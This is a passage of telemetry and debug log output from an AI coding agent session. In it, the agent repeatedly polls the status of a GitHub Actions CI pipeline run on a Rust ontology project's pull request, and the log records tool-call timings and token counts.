2026-07-12T04:10:13.122189Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:10:13.122Z] [INFO] 2026-07-12T04:10:13.122206Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=59930\n[2026-07-12T04:10:13.122Z] [INFO] \n[2026-07-12T04:10:24.030Z] [INFO] 2026-07-12T04:10:24.029764Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-f9bec46e-44e1-41e9-9f7f-054f6e2ebab9 arguments={\"session_id\":81385,\"chars\":\"\",\"yield_time_ms\":30000,\"max_output_tokens\":10000} duration_ms=30060 success=true output=Chunk ID: 1d807e\n[2026-07-12T04:10:24.030Z] [INFO] Wall time: 30.0598 seconds\n[2026-07-12T04:10:24.030Z] [INFO] Process running with session ID 81385\n[2026-07-12T04:10:24.030Z] [INFO] Original token count: 4826\n[2026-07-12T04:10:24.030Z] [INFO] Output:\n[2026-07-12T04:10:24.030Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:10:24.030Z] [INFO] \n[2026-07-12T04:10:24.030Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:10:24.030Z] [INFO] Triggered via pull_request about 1 minute ago\n[2026-07-12T04:10:24.030Z] [INFO] \n[2026-07-12T04:10:24.030Z] [INFO] JOBS\n[2026-07-12T04:10:24.030Z] [INFO] \u2713 Detect Changes in 58s (ID 86613875688)\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Detect changes\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:24.030Z] [INFO] \u2713 Version Modification Check in 51s (ID 86613875700)\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Check for manual version changes\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:24.030Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:10:24.030Z] [INFO] \u2713 Ontology Word Coverage in 28s (ID 86613944298)\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Build CLI\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Check word coverage of README.md\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:24.030Z] [INFO] * Lint and Format Check (ID 86613944301)\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.030Z] [INFO]   * Install rust-script\n[2026-07-12T04:10:24.030Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:10:24.030Z] [INFO]   * Check formatting\n[2026-07-12T04:10:24.030Z] [INFO]   * Run Clippy\n[2026-07-12T04:10:24.030Z] [INFO]   * Check file size limit\n[2026-07-12T04:10:24.030Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO] \u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Run tests\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Run doc tests\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:24.030Z] [INFO] * Test (windows-latest) (ID 86613944394)\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:24.030Z] [INFO]   * Run tests\n[2026-07-12T04:10:24.030Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:10:24.029Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:24.030Z] [INFO] 2026-07-12T04:10:24.029830Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-f9bec46e-44e1-41e9-9f7f-054f6e2ebab9 duration_ms=30060 success=true arguments_length=79 output_length=1778 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:10:24.029Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:24.030Z] [INFO] \n[2026-07-12T04:10:24.244Z] [INFO] 2026-07-12T04:10:24.240343Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=wait call_id=call_8dHjT22roV3zgUZn4d8ORdIp arguments={\"cell_id\":\"26\",\"yield_time_ms\":30000,\"max_tokens\":10000} duration_ms=18269 success=true output=Script completed\n[2026-07-12T04:10:24.244Z] [INFO] Wall time 18.3 seconds\n[2026-07-12T04:10:24.244Z] [INFO] Output:\n[2026-07-12T04:10:24.244Z] [INFO] \n[2026-07-12T04:10:24.244Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:10:24.244Z] [INFO] \n[2026-07-12T04:10:24.244Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:10:24.244Z] [INFO] Triggered via pull_request about 1 minute ago\n[2026-07-12T04:10:24.244Z] [INFO] \n[2026-07-12T04:10:24.244Z] [INFO] JOBS\n[2026-07-12T04:10:24.244Z] [INFO] \u2713 Detect Changes in 58s (ID 86613875688)\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Detect changes\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:24.244Z] [INFO] \u2713 Version Modification Check in 51s (ID 86613875700)\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Check for manual version changes\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:24.244Z] [INFO] - Create Changelog PR (ID 86613875968)\n[2026-07-12T04:10:24.244Z] [INFO] \u2713 Ontology Word Coverage in 28s (ID 86613944298)\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Build CLI\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Check word coverage of README.md\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:24.244Z] [INFO] * Lint and Format Check (ID 86613944301)\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.244Z] [INFO]   * Install rust-script\n[2026-07-12T04:10:24.244Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:10:24.244Z] [INFO]   * Check formatting\n[2026-07-12T04:10:24.244Z] [INFO]   * Run Clippy\n[2026-07-12T04:10:24.244Z] [INFO]   * Check file size limit\n[2026-07-12T04:10:24.244Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO] \u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Run tests\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Run doc tests\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Post Cache cargo registry\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:24.244Z] [INFO] * Test (windows-latest) (ID 86613944394)\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.244Z] [INFO]   \u2713 Cache cargo registry\n[2026-07-12T04:10:24.244Z] [INFO]   * Run tests\n[2026-07-12T04:10:24.244Z] [INFO]   * Run doc tests\n[2026-07-12T04:10:24.244Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:10:24.240Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:24.244Z] [INFO] \n[2026-07-12T04:10:24.280Z] [INFO] 2026-07-12T04:10:24.245963Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=wait call_id=call_8dHjT22roV3zgUZn4d8ORdIp duration_ms=18269 success=true arguments_length=57 output_length=1728 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:10:24.245Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:24.280Z] [INFO] 2026-07-12T04:10:24.254610Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=wait call_id=call_8dHjT22roV3zgUZn4d8ORdIp tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=18283 total_duration_ms=18283\n[2026-07-12T04:10:24.280Z] [INFO] \n[2026-07-12T04:10:24.352Z] [INFO] 2026-07-12T04:10:24.349840Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:10:24.352Z] [INFO] \n[2026-07-12T04:10:24.370Z] [INFO] 2026-07-12T04:10:24.369378Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=3 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:10:24.369Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:24.370Z] [INFO] 2026-07-12T04:10:24.369465Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=3 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:10:24.369Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:24.370Z] [INFO] 2026-07-12T04:10:24.369481Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:10:24.370Z] [INFO] \n[2026-07-12T04:10:26.275Z] [INFO] 2026-07-12T04:10:26.275225Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5313b2430481918411c1ab9cc31586\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxOyjK94JIKXS3w9pFgoKlzRdgcre0wk21hMzefEnzU0vdeVUhbQ5EatH8jROjAFiIUqtWBdCoSeGDhWjXN6Y9NG_2f1HR--GWAKMYtBwNdzhpQsN4W41yWNKERUeyTXcL1roVtvYJ1HtKlLRsUAxWJ1WJPDoZYgTSXlcVSHflB3Rwx6bNVhMRtOnhiklhDhraj_KTuG8wCChzn60nYHDdLmNYNdU8-O7CfHNnCtk0IOE4KkQtajA8t8P202_X0lAPaX47v1HojHjw6Wq2wCxJ87lUK6e7qAlkF7dJafcFbXw6TaCOGTM47AkSquzLKZr3iBWYIdg4ahhbivRkGC3ayuqgrLzcHmVwfqek0sXLU2hxScSarq92AjLpE4Dt__ahPbXx1sFlc-MqyhioUDF4MnXXj4XVABkCl_IIn2fjbFKnVBe8Q3z65NhFonQJOZCkw1MAysJ7r_TKyUBUzEP8RloldVWMVsQrVRTcJTsXvrK0qy0qQrWsRJx_kp32QF8tD7CVrQD6JtpftToxuWl37rPl59gw_Lhf8BXqBCNkWDZNhwFyrCdhUY0LAHDLequmfzf_1MjDc7DZVp1TIrZzagTvxTb6hlMGcw5E6bbccaxusjva2m94BsN7K5kKGZS6iY3Ia7yzrpT-wYQtJmnAticrEaTI-HGGEU-YG96KIttDqulmMN49z16JEHxCd8-RyHqn6WE27QVKeDifykM1eYgXa5KOsLGgzqS92HrAqNySz_KkDLre2PBYB9iuo1LB8HeooLN1UmjVJQx7sbvNPYwZdOaPh10inKaQWWqZXD5_UkgmUsdaIFJzt6Lrv24YkiOSr2w08ym0Gc2nwS3wBuHwXN9-M4SJRQRR1R-3Ak7f7VHxtEUO2n9gQMqlg5YTHtLYrHCvyZHxQ8VpVecIZtOQ==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:10:26.275Z] [INFO] \n[2026-07-12T04:10:26.783Z] [INFO] 2026-07-12T04:10:26.782512Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5313b2430481918411c1ab9cc31586\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxOyy5pcghI1Lu4TBAolNJ7BZgc_iP27D7IKV0amgHU8y17S119Kp4IHn3Udkcwiz-HthmlkW73vYPW4c-OCAmlM1kOvjVfKAz_FDbF8iIxKEFoEhkC_qH_0dheQ7x0Sda6JpzTc_U8kYEej2RPTyBammyoAmQSFJk742yoElzGoyVSh4nrSIqYBdJJhXvshGuco1G9ODX_fgkXVKBDCvG8_zt2ajCguJxHybPzBjqVcNwYHYwOx0XvwSaSki4OKoBSa_O8u-DxmrS3SUYCVPy-hMF8giR147QTFHFDr4Yd6kbkPnRBbhUBMir05pJ5EFFk6b7HaAs9DRUKTwc9d2Vt2bwlhuU699kt7JpNiyiZowjYIzPrHi1F-vy8s6T4dHusVz_tR3oVqwVNrcUkFSEn-mx5p7Lpiq5GZJTgWoQN0AuPosw0IwClqEqOtsSw6Rf8_son7QgONvU1DWRw-bOX1Dp1CLePO7sNTMLS5Ha6LZp8UhTyI_NgovS5iMGc365XObjh7agIyqhBJc9ByysxfT6wcZ3C2wztXgCofllUwZl3T346ML2CqVaBIOOoA1NXgBh434zQnwTTTT8-gZ-XLXtViQalLpzSkIEckQn6KMnj6Xi2b8EmEKGDXwoP-arOztPk6dYjhsg_yOD6mHwPslmypvXfDyvgF2HxaL1_SXL5F2SP32R5T6qOy2LZyY9gSzYFqnhpRvIGuVvowfkdwIEbDz88D4GWuxbEDHBqDyAaEZB22pVK_gVcaaW2bKuxpOVR6HI1dKEqIp_7sCeOQ4V55ozgagLUh67YV1PL3ZXxKc7GPE-cbAPPKdbxVIRFkBL-8RGGdqkV6-coMyIycRAygTd7BZ_-gJQ7RHnWCLx9Qx7Nwe3aKVptqKTJPPSlu2PFYgfziMkF04SfOThnSVGzMqDGoRwQQ9D9qfGR-B3Q=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:10:26.783Z] [INFO] \n[2026-07-12T04:10:26.784Z] [INFO] 2026-07-12T04:10:26.784105Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5313b2c4788191a07feca72b05d015\"), status: Some(\"in_progress\"), call_id: \"call_0vclwsA0Dy35tPeSAf9lTPVN\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:10:26.784Z] [INFO] \n[2026-07-12T04:10:27.673Z] [INFO] 2026-07-12T04:10:27.672808Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.write_stdin({session_id:81385,chars:\"\",yield_time_ms:30000,max_output_tokens:8000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:10:27.673Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:10:27.673Z] [INFO] \n[2026-07-12T04:10:27.683Z] [INFO] 2026-07-12T04:10:27.677897Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5313b06dd0819186516b17aa4b1f2e\"\n[2026-07-12T04:10:27.683Z] [INFO] 2026-07-12T04:10:27.677936Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=92040 output_token_count=68 cached_token_count=85760 reasoning_token_count=7 tool_token_count=92108 ttft_ms=1909 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:10:27.677Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:27.683Z] [INFO] 2026-07-12T04:10:27.677955Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=92040 output_token_count=68 cached_token_count=85760 reasoning_token_count=7 tool_token_count=92108 ttft_ms=1909 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:10:27.677Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:27.683Z] [INFO] \n[2026-07-12T04:10:37.730Z] [INFO] 2026-07-12T04:10:37.728325Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_0vclwsA0Dy35tPeSAf9lTPVN arguments=const r=await tools.write_stdin({session_id:81385,chars:\"\",yield_time_ms:30000,max_output_tokens:8000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:10:37.730Z] [INFO]  duration_ms=10054 success=true output=Script running with cell ID 27\n[2026-07-12T04:10:37.730Z] [INFO] Wall time 10.0 seconds\n[2026-07-12T04:10:37.730Z] [INFO] Output:\n[2026-07-12T04:10:37.730Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:10:37.728Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:37.730Z] [INFO] 2026-07-12T04:10:37.729003Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_0vclwsA0Dy35tPeSAf9lTPVN duration_ms=10054 success=true arguments_length=174 output_length=62 output_line_count=3 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:10:37.729Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:37.730Z] [INFO] 2026-07-12T04:10:37.729095Z  INFO 